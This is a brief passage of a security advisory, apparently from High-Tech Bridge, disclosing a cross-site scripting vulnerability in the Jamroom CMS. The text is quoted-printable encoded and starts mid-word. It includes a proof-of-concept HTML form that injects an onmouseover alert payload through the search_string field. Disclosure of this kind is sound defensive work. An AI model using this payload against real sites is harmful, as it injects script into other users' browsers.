High-Tech Bridge Security Research Lab discovered vulnerability in Jamroom,=
which can be exploited to perform Cross-Site Scripting (XSS) attacks.

splay "immuniweb" word:
<form action=3D"http://[host]/search/results/all/1/4" method=3D"post" name=
=3D"main">
<input type=3D"hidden" name=3D"search_string" value=3D'" onmouseover=3D"ja=
vascript:alert("immuniweb");'>
<input type=3D"submit" id=3D"btn">
</form>
